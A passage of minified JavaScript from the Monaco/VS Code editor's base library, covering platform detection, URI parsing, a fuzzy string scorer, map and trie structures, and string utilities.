n,xhtml:!1},l.Parser=i,l.parser=i.parse,l.Renderer=n,l.Lexer=e,l.lexer=e.lex,l.InlineLexer=t,l.inlineLexer=t.output,l.parse=l,define(\"vs/base/common/marked/raw.marked\",[],function(){return l}),define(d[209],h([552]),function(e){return{marked:e}}),define(d[70],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e.inMemory=\"inmemory\",e.vscode=\"vscode\",e.internal=\"private\",e.walkThrough=\"walkThrough\",e.walkThroughSnippet=\"walkThroughSnippet\",e.http=\"http\",e.https=\"https\",e.file=\"file\",e.untitled=\"untitled\"}(t.Schemas||(t.Schemas={}))}),define(d[15],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=!1,i=!1,o=!1,r=!1,s=!1,a=!1,u=void 0,l=void 0;if(t.LANGUAGE_DEFAULT=\"en\",\"object\"==typeof process){n=\"win32\"===process.platform,i=\"darwin\"===process.platform,o=\"linux\"===process.platform,r=!n&&0===process.getuid();var c=process.env.VSCODE_NLS_CONFIG;if(c)try{var d=JSON.parse(c),h=d.availableLanguages[\"*\"];u=d.locale,l=h||t.LANGUAGE_DEFAULT}catch(e){}s=!0}else if(\"object\"==typeof navigator){var p=navigator.userAgent;n=p.indexOf(\"Windows\")>=0,i=p.indexOf(\"Macintosh\")>=0,o=p.indexOf(\"Linux\")>=0,a=!0,l=u=navigator.language}var f;!function(e){e[e.Web=0]=\"Web\",e[e.Mac=1]=\"Mac\",e[e.Linux=2]=\"Linux\",e[e.Windows=3]=\"Windows\"}(f=t.Platform||(t.Platform={}));var g=f.Web;s&&(i?g=f.Mac:n?g=f.Windows:o&&(g=f.Linux)),t.isWindows=n,t.isMacintosh=i,t.isLinux=o,t.isRootUser=r,t.isNative=s,t.isWeb=a,t.platform=g,t.language=l,t.locale=u;var m=\"object\"==typeof self?self:global;t.globals=m,t.hasWebWorkerSupport=function(){return void 0!==m.Worker},t.setTimeout=m.setTimeout.bind(m),t.clearTimeout=m.clearTimeout.bind(m),t.setInterval=m.setInterval.bind(m),t.clearInterval=m.clearInterval.bind(m);!function(e){e[e.Windows=1]=\"Windows\",e[e.Macintosh=2]=\"Macintosh\",e[e.Linux=3]=\"Linux\"}(t.OperatingSystem||(t.OperatingSystem={})),t.OS=i?2:n?1:3;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.Disabled=1]=\"Disabled\",e[e.Enabled=2]=\"Enabled\"}(t.AccessibilitySupport||(t.AccessibilitySupport={}))}),define(d[423],h([1,0]),function(e,t){\"use strict\";function n(e){return 65<=e&&e<=90}Object.defineProperty(t,\"__esModule\",{value:!0});/*!\n    BEGIN THIRD PARTY\n    */\n/*!\n    * string_score.js: String Scoring Algorithm 0.1.22\n    *\n    * http://joshaven.com/string_score\n    * https://github.com/joshaven/string_score\n    *\n    * Copyright (C) 2009-2014 Joshaven Potter <yourtech@gmail.com>\n    * Special thanks to all of the contributors listed here https://github.com/joshaven/string_score\n    * MIT License: http://opensource.org/licenses/MIT\n    *\n    * Date: Tue Mar 1 2011\n    * Updated: Tue Mar 10 2015\n    */\nvar i=[\"-\",\"_\",\" \",\"/\",\"\\\\\",\".\"];t.score=function(e,t,o){if(!e||!t)return 0;var r=e+t,s=o&&o[r];if(\"number\"==typeof s)return s;for(var a=t.length,u=e.toLowerCase(),l=t.toLowerCase(),c=0,d=0,h=0;c<a&&\"break\"!==function(){var o=u.indexOf(l[c],d);if(o<0)return h=0,\"break\";h+=1,d===o&&(h+=5),e[o]===t[o]&&(h+=1),0===o?h+=8:i.some(function(t){return t===e[o-1]})?h+=7:n(e.charCodeAt(o))&&(h+=1),d=o+1,c++}(););return o&&(o[r]=h),h},t.matches=function(e,t){if(!e||!t)return!1;for(var n=t.length,i=e.toLowerCase(),o=0,r=-1;o<n;){var s=i.indexOf(t[o],r+1);if(s<0)return!1;r=s,o++}return!0}}),/*!\nEND THIRD PARTY\n*/\ndefine(d[426],h([1,0,15]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=n.globals.performance&&\"function\"==typeof n.globals.performance.now,o=function(){function e(e){this._highResolution=i&&e,this._startTime=this._now(),this._stopTime=-1}return e.create=function(t){return void 0===t&&(t=!0),new e(t)},e.prototype.stop=function(){this._stopTime=this._now()},e.prototype.elapsed=function(){return-1!==this._stopTime?this._stopTime-this._startTime:this._now()-this._startTime},e.prototype._now=function(){return this._highResolution?n.globals.performance.now():(new Date).getTime()},e}();t.StopWatch=o}),define(d[29],h([1,0]),function(e,t){\"use strict\";function n(e){return Array.isArray?Array.isArray(e):!(!e||typeof e.length!==u.number||e.constructor!==Array)}function i(e){return typeof e===u.string||e instanceof String}function o(e){return!(typeof e!==u.object||null===e||Array.isArray(e)||e instanceof RegExp||e instanceof Date)}function r(e){return typeof e===u.undefined}function s(e){return typeof e===u.function}function a(e,t){if(i(t)){if(typeof e!==t)throw new Error(\"argument does not match constraint: typeof \"+t)}else if(s(t)){if(e instanceof t)return;if(e&&e.constructor===t)return;if(1===t.length&&!0===t.call(void 0,e))return;throw new Error(\"argument does not match one of these constraints: arg instanceof constraint, arg.constructor === constraint, nor constraint(arg) === true\")}}Object.defineProperty(t,\"__esModule\",{value:!0});var u={number:\"number\",string:\"string\",undefined:\"undefined\",object:\"object\",function:\"function\"};t.isArray=n,t.isString=i,t.isStringArray=function(e){return n(e)&&e.every(function(e){return i(e)})},t.isObject=o,t.isNumber=function(e){return(typeof e===u.number||e instanceof Number)&&!isNaN(e)},t.isBoolean=function(e){return!0===e||!1===e},t.isUndefined=r,t.isUndefinedOrNull=function(e){return r(e)||null===e};var l=Object.prototype.hasOwnProperty;t.isEmptyObject=function(e){if(!o(e))return!1;for(var t in e)if(l.call(e,t))return!1;return!0},t.isFunction=s,t.areFunctions=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return e&&e.length>0&&e.every(s)},t.validateConstraints=function(e,t){for(var n=Math.min(e.length,t.length),i=0;i<n;i++)a(e[i],t[i])},t.validateConstraint=a,t.create=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var i=Object.create(e.prototype);return e.apply(i,t),i}}),define(d[428],h([1,0,29,157]),function(e,t,n,i){\"use strict\";function o(e){return{data:e,incoming:Object.create(null),outgoing:Object.create(null)}}Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e){this._hashFn=e,this._nodes=Object.create(null)}return e.prototype.roots=function(){var e=[];return i.forEach(this._nodes,function(t){n.isEmptyObject(t.value.outgoing)&&e.push(t.value)}),e},e.prototype.traverse=function(e,t,n){var i=this.lookup(e);i&&this._traverse(i,t,Object.create(null),n)},e.prototype._traverse=function(e,t,n,o){var r=this,s=this._hashFn(e.data);if(!n[s]){n[s]=!0,o(e.data);var a=t?e.outgoing:e.incoming;i.forEach(a,function(e){return r._traverse(e.value,t,n,o)})}},e.prototype.insertEdge=function(e,t){var n=this.lookupOrInsertNode(e),i=this.lookupOrInsertNode(t);n.outgoing[this._hashFn(t)]=i,i.incoming[this._hashFn(e)]=n},e.prototype.removeNode=function(e){var t=this._hashFn(e);delete this._nodes[t],i.forEach(this._nodes,function(e){delete e.value.outgoing[t],delete e.value.incoming[t]})},e.prototype.lookupOrInsertNode=function(e){var t=this._hashFn(e),n=this._nodes[t];return n||(n=o(e),this._nodes[t]=n),n},e.prototype.lookup=function(e){return this._nodes[this._hashFn(e)]},Object.defineProperty(e.prototype,\"length\",{get:function(){return Object.keys(this._nodes).length},enumerable:!0,configurable:!0}),e.prototype.toString=function(){var e=[];return i.forEach(this._nodes,function(t){e.push(t.key+\", (incoming)[\"+Object.keys(t.value.incoming).join(\", \")+\"], (outgoing)[\"+Object.keys(t.value.outgoing).join(\",\")+\"]\")}),e.join(\"\\n\")},e}();t.Graph=r}),define(d[26],h([1,0,29]),function(e,t,n){\"use strict\";function i(e){if(!e||\"object\"!=typeof e)return e;if(e instanceof RegExp)return e;var t=Array.isArray(e)?[]:{};return Object.keys(e).forEach(function(n){e[n]&&\"object\"==typeof e[n]?t[n]=i(e[n]):t[n]=e[n]}),t}function o(e){if(!e||\"object\"!=typeof e)return e;var t=Array.isArray(e)?[]:{};return Object.getOwnPropertyNames(e).forEach(function(n){e[n]&&\"object\"==typeof e[n]?t[n]=o(e[n]):t[n]=e[n]}),t}function r(e,t,i){if(n.isUndefinedOrNull(e))return e;var o=t(e);if(void 0!==o)return o;if(n.isArray(e)){for(var s=[],a=0;a<e.length;a++)s.push(r(e[a],t,i));return s}if(n.isObject(e)){if(i.indexOf(e)>=0)throw new Error(\"Cannot clone recursive data-structure\");i.push(e);var u={};for(var l in e)c.call(e,l)&&(u[l]=r(e[l],t,i));return i.pop(),u}return e}function s(e,t,i){return void 0===i&&(i=!0),n.isObject(e)?(n.isObject(t)&&Object.keys(t).forEach(function(o){o in e?i&&(n.isObject(e[o])&&n.isObject(t[o])?s(e[o],t[o],i):e[o]=t[o]):e[o]=t[o]}),e):t}function a(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return t.forEach(function(t){return Object.keys(t).forEach(function(n){return e[n]=t[n]})}),e}function u(e,t){if(e===t)return!0;if(null===e||void 0===e||null===t||void 0===t)return!1;if(typeof e!=typeof t)return!1;if(\"object\"!=typeof e)return!1;if(Array.isArray(e)!==Array.isArray(t))return!1;var n,i;if(Array.isArray(e)){if(e.length!==t.length)return!1;for(n=0;n<e.length;n++)if(!u(e[n],t[n]))return!1}else{var o=[];for(i in e)o.push(i);o.sort();var r=[];for(i in t)r.push(i);if(r.sort(),!u(o,r))return!1;for(n=0;n<o.length;n++)if(!u(e[o[n]],t[o[n]]))return!1}return!0}function l(e){for(var t={},n=0;n<e.length;++n)t[e[n]]=!0;return t}Object.defineProperty(t,\"__esModule\",{value:!0}),t.clone=i,t.deepClone=o;var c=Object.prototype.hasOwnProperty;t.cloneAndChange=function(e,t){return r(e,t,[])},t.mixin=s,t.assign=a,t.toObject=function(e,t){return e.reduce(function(e,n){return a(e,(i={},i[t(n)]=n,i));var i},Object.create(null))},t.equals=u,t.ensureProperty=function(e,t,n){void 0===e[t]&&(e[t]=n)},t.arrayToHash=l,t.createKeywordMatcher=function(e,t){void 0===t&&(t=!1),t&&(e=e.map(function(e){return e.toLowerCase()}));var n=l(e);return t?function(e){return void 0!==n[e.toLowerCase()]&&n.hasOwnProperty(e.toLowerCase())}:function(e){return void 0!==n[e]&&n.hasOwnProperty(e)}},t.derive=function(e,t){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);t=t||function(){};var i=e.prototype,o=t.prototype;t.prototype=Object.create(i);for(var n in o)o.hasOwnProperty(n)&&Object.defineProperty(t.prototype,n,Object.getOwnPropertyDescriptor(o,n));Object.defineProperty(t.prototype,\"constructor\",{value:t,writable:!0,configurable:!0,enumerable:!0})},t.safeStringify=function(e){var t=[];return JSON.stringify(e,function(e,i){if(n.isObject(i)||Array.isArray(i)){if(-1!==t.indexOf(i))return\"[Circular]\";t.push(i)}return i})},t.getOrDefault=function(e,t,n){void 0===n&&(n=null);var i=t(e);return void 0===i?n:i},t.distinct=function(e,t){var n=Object.create(null);return e&&t?(Object.keys(t).forEach(function(i){var o=e[i],r=t[i];u(o,r)||(n[i]=r)}),n):n}}),define(d[24],h([1,0,15]),function(e,t,n){\"use strict\";function i(e){return\"%\"+e.charCodeAt(0).toString(16).toUpperCase()}function o(e){return encodeURIComponent(e).replace(/[!'()*]/g,i)}function r(e){return e.replace(/[#?]/,i)}Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(t,n,i,o,r){this._formatted=null,this._fsPath=null,this.scheme=t||e._empty,this.authority=n||e._empty,this.path=i||e._empty,this.query=o||e._empty,this.fragment=r||e._empty,this._validate(this)}return e.isUri=function(t){return t instanceof e||!!t&&(\"string\"==typeof t.authority&&\"string\"==typeof t.fragment&&\"string\"==typeof t.path&&\"string\"==typeof t.query&&\"string\"==typeof t.scheme)},Object.defineProperty(e.prototype,\"fsPath\",{get:function(){if(!this._fsPath){var t=void 0;t=this.authority&&this.path&&\"file\"===this.scheme?\"//\"+this.authority+this.path:e._driveLetterPath.test(this.path)?this.path[1].toLowerCase()+this.path.substr(2):this.path,n.isWindows&&(t=t.replace(/\\//g,\"\\\\\")),this._fsPath=t}return this._fsPath},enumerable:!0,configurable:!0}),e.prototype.with=function(t){if(!t)return this;var n=t.scheme,i=t.authority,o=t.path,r=t.query,s=t.fragment;return void 0===n?n=this.scheme:null===n&&(n=\"\"),void 0===i?i=this.authority:null===i&&(i=\"\"),void 0===o?o=this.path:null===o&&(o=\"\"),void 0===r?r=this.query:null===r&&(r=\"\"),void 0===s?s=this.fragment:null===s&&(s=\"\"),n===this.scheme&&i===this.authority&&o===this.path&&r===this.query&&s===this.fragment?this:new e(n,i,o,r,s)},e.parse=function(t){var n=e._regexp.exec(t);return n?new e(n[2]||e._empty,decodeURIComponent(n[4]||e._empty),decodeURIComponent(n[5]||e._empty),decodeURIComponent(n[7]||e._empty),decodeURIComponent(n[9]||e._empty)):new e(e._empty,e._empty,e._empty,e._empty,e._empty)},e.file=function(t){var i=e._empty;if(n.isWindows&&(t=t.replace(/\\\\/g,e._slash)),t[0]===e._slash&&t[0]===t[1]){var o=t.indexOf(e._slash,2);-1===o?(i=t.substring(2),t=e._empty):(i=t.substring(2,o),t=t.substring(o))}return t[0]!==e._slash&&(t=e._slash+t),new e(\"file\",i,t,e._empty,e._empty)},e.from=function(t){return new e(t.scheme,t.authority,t.path,t.query,t.fragment)},e.prototype._validate=function(t){if(t.scheme&&!e._schemePattern.test(t.scheme))throw new Error(\"[UriError]: Scheme contains illegal characters.\");if(t.path)if(t.authority){if(!e._singleSlashStart.test(t.path))throw new Error('[UriError]: If a URI contains an authority component, then the path component must either be empty or begin with a slash (\"/\") character')}else if(e._doubleSlashStart.test(t.path))throw new Error('[UriError]: If a URI does not contain an authority component, then the path cannot begin with two slash characters (\"//\")')},e.prototype.toString=function(t){return void 0===t&&(t=!1),t?e._asFormatted(this,!0):(this._formatted||(this._formatted=e._asFormatted(this,!1)),this._formatted)},e._asFormatted=function(t,n){var i=n?r:o,s=[],a=t.scheme,u=t.authority,l=t.path,c=t.query,d=t.fragment;if(a&&s.push(a,\":\"),(u||\"file\"===a)&&s.push(\"//\"),u&&(-1===(f=(u=u.toLowerCase()).indexOf(\":\"))?s.push(i(u)):s.push(i(u.substr(0,f)),u.substr(f))),l){var h=e._upperCaseDrive.exec(l);h&&(l=h[1]?\"/\"+h[2].toLowerCase()+l.substr(3):h[2].toLowerCase()+l.substr(2));for(var p=0;;){var f=l.indexOf(e._slash,p);if(-1===f){s.push(i(l.substring(p)));break}s.push(i(l.substring(p,f)),e._slash),p=f+1}}return c&&s.push(\"?\",i(c)),d&&s.push(\"#\",i(d)),s.join(e._empty)},e.prototype.toJSON=function(){var e={fsPath:this.fsPath,external:this.toString(),$mid:1};return this.path&&(e.path=this.path),this.scheme&&(e.scheme=this.scheme),this.authority&&(e.authority=this.authority),this.query&&(e.query=this.query),this.fragment&&(e.fragment=this.fragment),e},e.revive=function(t){var n=new e(t.scheme,t.authority,t.path,t.query,t.fragment);return n._fsPath=t.fsPath,n._formatted=t.external,n},e._empty=\"\",e._slash=\"/\",e._regexp=/^(([^:/?#]+?):)?(\\/\\/([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?/,e._driveLetterPath=/^\\/[a-zA-z]:/,e._upperCaseDrive=/^(\\/)?([A-Z]:)/,e._schemePattern=/^\\w[\\w\\d+.-]*$/,e._singleSlashStart=/^\\//,e._doubleSlashStart=/^\\/\\//,e}();t.default=s}),define(d[80],h([1,0,24]),function(e,t,n){\"use strict\";function i(e){var t=[];return e.forEach(function(e){return t.push(e)}),t}function o(e){var t=[];return e.forEach(function(e,n){return t.push(n)}),t}Object.defineProperty(t,\"__esModule\",{value:!0}),t.values=i,t.keys=o,t.getOrSet=function(e,t,n){var i=e.get(t);return void 0===i&&(i=n,e.set(t,i)),i};var r=function(){function e(e,t,n){void 0===e&&(e=Number.MAX_VALUE),void 0===t&&(t=1);var i=this;this.limit=e,this.map=new Map,this.ratio=e*t,n&&n.entries.forEach(function(e){i.set(e.key,e.value)})}return e.prototype.setLimit=function(e){if(!(e<0))for(this.limit=e;this.map.size>this.limit;)this.trim()},e.prototype.serialize=function(){var e={entries:[]};return this.map.forEach(function(t){e.entries.push({key:t.key,value:t.value})}),e},Object.defineProperty(e.prototype,\"size\",{get:function(){return this.map.size},enumerable:!0,configurable:!0}),e.prototype.set=function(e,t){if(this.map.has(e))return!1;var n={key:e,value:t};return this.push(n),this.size>this.limit&&this.trim(),!0},e.prototype.get=function(e){var t=this.map.get(e);return t?t.value:null},e.prototype.getOrSet=function(e,t){var n=this.get(e);return n||(this.set(e,t),t)},e.prototype.delete=function(e){var t=this.map.get(e);return t?(this.map.delete(e),t.next?t.next.prev=t.prev:this.head=t.prev,t.prev?t.prev.next=t.next:this.tail=t.next,t.value):null},e.prototype.has=function(e){return this.map.has(e)},e.prototype.clear=function(){this.map.clear(),this.head=null,this.tail=null},e.prototype.push=function(e){this.head&&(e.prev=this.head,this.head.next=e),this.tail||(this.tail=e),this.head=e,this.map.set(e.key,e)},e.prototype.trim=function(){if(this.tail)if(this.ratio<this.limit)for(var e=0,t=this.tail;t.next;){if(this.map.delete(t.key),e===this.ratio){this.tail=t.next,this.tail.prev=null;break}t=t.next,e++}else this.map.delete(this.tail.key),this.tail=this.tail.next,this.tail&&(this.tail.prev=null)},e}();t.BoundedMap=r;var s=function(){return function(){this.children=new Map}}(),a=function(){function e(e){this._root=new s,this._splitter=function(t){return e(t).filter(function(e){return Boolean(e)})}}return e.prototype.insert=function(e,t){for(var n=this._splitter(e),i=0,o=this._root;i<n.length;i++){var r=o.children.get(n[i]);if(!r)break;o=r}for(var a;i<n.length;i++)a=new s,o.children.set(n[i],a),o=a;o.element=t},e.prototype.lookUp=function(e){for(var t,n=this._splitter(e),i=this._root.children,o=0,r=n;o<r.length;o++){var s=r[o];if(!(t=i.get(s)))return;i=t.children}return t.element},e.prototype.findSubstr=function(e){for(var t,n=this._splitter(e),i=this._root.children,o=0,r=n;o<r.length;o++){var s=r[o],a=i.get(s);if(!a)break;a.element&&(t=a),i=a.children}if(t)return t.element},e.prototype.findSuperstr=function(t){for(var n,i=this._splitter(t),o=this._root.children,r=0,s=i;r<s.length;r++){var a=s[r];if(!(n=o.get(a)))return;o=n.children}var u=new e(this._splitter);return u._root=n,u},e.PathSplitter=function(e){return e.split(/[\\\\/]/).filter(function(e){return!!e})},e}();t.TrieMap=a;var u=function(){function e(e){this.ignoreCase=e,this.map=new Map}return e.prototype.set=function(e,t){this.map.set(this.toKey(e),t)},e.prototype.get=function(e){return this.map.get(this.toKey(e))},e.prototype.has=function(e){return this.map.has(this.toKey(e))},Object.defineProperty(e.prototype,\"size\",{get:function(){return this.map.size},enumerable:!0,configurable:!0}),e.prototype.clear=function(){this.map.clear()},e.prototype.delete=function(e){return this.map.delete(this.toKey(e))},e.prototype.forEach=function(e){this.map.forEach(e)},e.prototype.values=function(){return i(this.map)},e.prototype.toKey=function(e){var t=e.toString();return this.ignoreCase&&(t=t.toLowerCase()),t},e}();t.ResourceMap=u;var l=function(e){function t(){return e.call(this)||this}return f(t,e),t.prototype.keys=function(){return o(this.map).map(function(e){return n.default.parse(e)})},t}(u);t.StrictResourceMap=l;var c;!function(e){e.None=0,e.First=1,e.Last=2}(c=t.Touch||(t.Touch={}));var d=function(){function e(){this._map=new Map,this._head=void 0,this._tail=void 0,this._size=0}return e.prototype.clear=function(){this._map.clear(),this._head=void 0,this._tail=void 0,this._size=0},e.prototype.isEmpty=function(){return!this._head&&!this._tail},Object.defineProperty(e.prototype,\"size\",{get:function(){return this._size},enumerable:!0,configurable:!0}),e.prototype.has=function(e){return this._map.has(e)},e.prototype.get=function(e){var t=this._map.get(e);if(t)return t.value},e.prototype.set=function(e,t,n){void 0===n&&(n=c.None);var i=this._map.get(e);if(i)i.value=t,n!==c.None&&this.touch(i,n);else{switch(i={key:e,value:t,next:void 0,previous:void 0},n){case c.None:this.addItemLast(i);break;case c.First:this.addItemFirst(i);break;case c.Last:default:this.addItemLast(i)}this._map.set(e,i),this._size++}},e.prototype.delete=function(e){return!!this.remove(e)},e.prototype.remove=function(e){var t=this._map.get(e);if(t)return this._map.delete(e),this.removeItem(t),this._size--,t.value},e.prototype.shift=function(){if(this._head||this._tail){if(!this._head||!this._tail)throw new Error(\"Invalid list\");var e=this._head;return this._map.delete(e.key),this.removeItem(e),this._size--,e.value}},e.prototype.forEach=function(e,t){for(var n=this._head;n;)t?e.bind(t)(n.value,n.key,this):e(n.value,n.key,this),n=n.next},e.prototype.forEachReverse=function(e,t){for(var n=this._tail;n;)t?e.bind(t)(n.value,n.key,this):e(n.value,n.key,this),n=n.previous},e.prototype.values=function(){for(var e=[],t=this._head;t;)e.push(t.value),t=t.next;return e},e.prototype.keys=function(){for(var e=[],t=this._head;t;)e.push(t.key),t=t.next;return e},e.prototype.addItemFirst=function(e){if(this._head||this._tail){if(!this._head)throw new Error(\"Invalid list\");e.next=this._head,this._head.previous=e}else this._tail=e;this._head=e},e.prototype.addItemLast=function(e){if(this._head||this._tail){if(!this._tail)throw new Error(\"Invalid list\");e.previous=this._tail,this._tail.next=e}else this._head=e;this._tail=e},e.prototype.removeItem=function(e){if(e===this._head&&e===this._tail)this._head=void 0,this._tail=void 0;else if(e===this._head)this._head=e.next;else if(e===this._tail)this._tail=e.previous;else{var t=e.next,n=e.previous;if(!t||!n)throw new Error(\"Invalid list\");t.previous=n,n.next=t}},e.prototype.touch=function(e,t){if(!this._head||!this._tail)throw new Error(\"Invalid list\");if(t===c.First||t===c.Last)if(t===c.First){if(e===this._head)return;var n=e.next,i=e.previous;e===this._tail?(i.next=void 0,this._tail=i):(n.previous=i,i.next=n),e.previous=void 0,e.next=this._head,this._head.previous=e,this._head=e}else if(t===c.Last){if(e===this._tail)return;var n=e.next,i=e.previous;e===this._head?(n.previous=void 0,this._head=n):(n.previous=i,i.next=n),e.next=void 0,e.previous=this._tail,this._tail.next=e,this._tail=e}},e}();t.LinkedMap=d}),define(d[487],h([1,0,24]),function(e,t,n){\"use strict\";function i(e,t){return t instanceof RegExp?{$mid:2,source:t.source,flags:(t.global?\"g\":\"\")+(t.ignoreCase?\"i\":\"\")+(t.multiline?\"m\":\"\")}:t}function o(e,t){var i;switch(void 0!==t&&null!==t&&(i=t.$mid),i){case 1:return n.default.revive(t);case 2:return new RegExp(t.source,t.flags);default:return t}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.stringify=function(e){return JSON.stringify(e,i)},t.parse=function(e){return JSON.parse(e,o)}}),define(d[9],h([1,0,80]),function(e,t,n){\"use strict\";function i(e){return e.replace(/[\\-\\\\\\{\\}\\*\\+\\?\\|\\^\\$\\.\\[\\]\\(\\)\\#]/g,\"\\\\$&\")}function o(e,t){if(!e||!t)return e;var n=t.length;if(0===n||0===e.length)return e;for(var i=0;e.indexOf(t,i)===i;)i+=n;return e.substring(i)}function r(e,t){if(!e||!t)return e;var n=t.length,i=e.length;if(0===n||0===i)return e;for(var o=i,r=-1;;){if(-1===(r=e.lastIndexOf(t,o-1))||r+n!==o)break;if(0===r)return\"\";o=r}return e.substring(0,o)}function s(e,t){return e<t?-1:e>t?1:0}function a(e){return e>=97&&e<=122}function u(e){return e>=65&&e<=90}function l(e){return a(e)||u(e)}function c(e,t,n){if(void 0===n&&(n=e.length),\"string\"!=typeof e||\"string\"!=typeof t)return!1;for(var i=0;i<n;i++){var o=e.charCodeAt(i),r=t.charCodeAt(i);if(o!==r)if(l(o)&&l(r)){var s=Math.abs(o-r);if(0!==s&&32!==s)return!1}else if(String.fromCharCode(o).toLowerCase()!==String.fromCharCode(r).toLowerCase())return!1}return!0}function d(e,t,n,i,o,r){for(;t<n&&o<r;){if(e[t]!==i[o])return!1;t+=1,o+=1}return!0}function h(e){return(e=+e)>=11904&&e<=55215||e>=63744&&e<=64255||e>=65281&&e<=65374}Object.defineProperty(t,\"__esModule\",{value:!0}),t.empty=\"\",t.isFalsyOrWhitespace=function(e){return!e||\"string\"!=typeof e||0===e.trim().length},t.pad=function(e,t,n){void 0===n&&(n=\"0\");for(var i=\"\"+e,o=[i],r=i.length;r<t;r++)o.push(n);return o.reverse().join(\"\")};var p=/{(\\d+)}/g;t.format=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return 0===t.length?e:e.replace(p,function(e,n){var i=parseInt(n,10);return isNaN(i)||i<0||i>=t.length?e:t[i]})},t.escape=function(e){return e.replace(/[<|>|&]/g,function(e){switch(e){case\"<\":return\"&lt;\";case\">\":return\"&gt;\";case\"&\":return\"&amp;\";default:return e}})},t.escapeRegExpCharacters=i,t.trim=function(e,t){return void 0===t&&(t=\" \"),r(o(e,t),t)},t.ltrim=o,t.rtrim=r,t.convertSimple2RegExpPattern=function(e){return e.replace(/[\\-\\\\\\{\\}\\+\\?\\|\\^\\$\\.\\,\\[\\]\\(\\)\\#\\s]/g,\"\\\\$&\").replace(/[\\*]/g,\".*\")},t.stripWildcards=function(e){return e.replace(/\\*/g,\"\")},t.startsWith=function(e,t){if(e.length<t.length)return!1;for(var n=0;n<t.length;n++)if(e[n]!==t[n])return!1;return!0},t.endsWith=function(e,t){var n=e.length-t.length;return n>0?e.indexOf(t,n)===n:0===n&&e===t},t.indexOfIgnoreCase=function(e,t,n){void 0===n&&(n=0);var o=e.indexOf(t,n);return o<0&&(n>0&&(e=e.substr(n)),t=i(t),o=e.search(new RegExp(t,\"i\"))),o},t.createRegExp=function(e,t,n){if(void 0===n&&(n={}),!e)throw new Error(\"Cannot create regex from empty string\");t||(e=i(e)),n.wholeWord&&(/\\B/.test(e.charAt(0))||(e=\"\\\\b\"+e),/\\B/.test(e.charAt(e.length-1))||(e+=\"\\\\b\"));var o=\"\";return n.global&&(o+=\"g\"),n.matchCase||(o+=\"i\"),n.multiline&&(o+=\"m\"),new RegExp(e,o)},t.regExpLeadsToEndlessLoop=function(e){return\"^\"!==e.source&&\"^$\"!==e.source&&\"$\"!==e.source&&e.exec(\"\")&&0===e.lastIndex},t.canNormalize=\"function\"==typeof\"\".normalize;var f=/[^\\u0000-\\u0080]/,g=new n.BoundedMap(1e4);t.normalizeNFC=function(e){if(!t.canNormalize||!e)return e;var n=g.get(e);if(n)return n;var i;return i=f.test(e)?e.normalize(\"NFC\"):e,g.set(e,i),i},t.firstNonWhitespaceIndex=function(e){for(var t=0,n=e.length;t<n;t++){var i=e.charCodeAt(t);if(32!==i&&9!==i)return t}return-1},t.getLeadingWhitespace=function(e,t,n){void 0===t&&(t=0),void 0===n&&(n=e.length);for(var i=t;i<n;i++){var o=e.charCodeAt(i);if(32!==o&&9!==o)return e.substring(t,i)}return e.substring(t,n)},t.lastNonWhitespaceIndex=function(e,t){void 0===t&&(t=e.length-1);for(var n=t;n>=0;n--){var i=e.charCodeAt(n);if(32!==i&&9!==i)return n}return-1},t.compare=s,t.compareIgnoreCase=function(e,t){for(var n=Math.min(e.length,t.length),i=0;i<n;i++){var o=e.charCodeAt(i),r=t.charCodeAt(i);if(o!==r){u(o)&&(o+=32),u(r)&&(r+=32);var l=o-r;if(0!==l)return a(o)&&a(r)?l:s(e.toLowerCase(),t.toLowerCase())}}return e.length<t.length?-1:e.length>t.length?1:0},t.equalsIgnoreCase=function(e,t){return(e?e.length:0)===(t?t.length:0)&&c(e,t)},t.beginsWithIgnoreCase=function(e,t){var n=t.length;return!(t.length>e.length)&&c(e,t,n)},t.commonPrefixLength=function(e,t){var n,i=Math.min(e.length,t.length);for(n=0;n<i;n++)if(e.charCodeAt(n)!==t.charCodeAt(n))return n;return i},t.commonSuffixLength=function(e,t){var n,i=Math.min(e.length,t.length),o=e.length-1,r=t.length-1;for(n=0;n<i;n++)if(e.charCodeAt(o-n)!==t.charCodeAt(r-n))return n;return i},t.overlap=function(e,t){var n=e.length,i=t.length,o=n-i;if(0===o)return e===t?n:0;for(o<0&&(i+=o,o=0);o<n&&i>0;){if(d(e,o,n,t,0,i))return i;i-=1,o+=1}return 0},t.isHighSurrogate=function(e){return 55296<=e&&e<=56319},t.isLowSurrogate=function(e){return 56320<=e&&e<=57343};var m=/(?:[\\u05BE\\u05C0\\u05C3\\u05C6\\u05D0-\\u05F4\\u0608\\u060B\\u060D\\u061B-\\u064A\\u066D-\\u066F\\u0671-\\u06D5\\u06E5\\u06E6\\u06EE\\u06EF\\u06FA-\\u0710\\u0712-\\u072F\\u074D-\\u07A5\\u07B1-\\u07EA\\u07F4\\u07F5\\u07FA-\\u0815\\u081A\\u0824\\u0828\\u0830-\\u0858\\u085E-\\u08BD\\u200F\\uFB1D\\uFB1F-\\uFB28\\uFB2A-\\uFD3D\\uFD50-\\uFDFC\\uFE70-\\uFEFC]|\\uD802[\\uDC00-\\uDD1B\\uDD20-\\uDE00\\uDE10-\\uDE33\\uDE40-\\uDEE4\\uDEEB-\\uDF35\\uDF40-\\uDFFF]|\\uD803[\\uDC00-\\uDCFF]|\\uD83A[\\uDC00-\\uDCCF\\uDD00-\\uDD43\\uDD50-\\uDFFF]|\\uD83B[\\uDC00-\\uDEBB])/;t.containsRTL=function(e){return m.test(e)};var v=/(?:[\\u231A\\u231B\\u23F0\\u23F3\\u2600-\\u27BF\\u2B50\\u2B55]|\\uD83C[\\uDDE6-\\uDDFF\\uDF00-\\uDFFF]|\\uD83D[\\uDC00-\\uDE4F\\uDE80-\\uDEF8]|\\uD83E[\\uDD00-\\uDDE6])/;t.containsEmoji=function(e){return 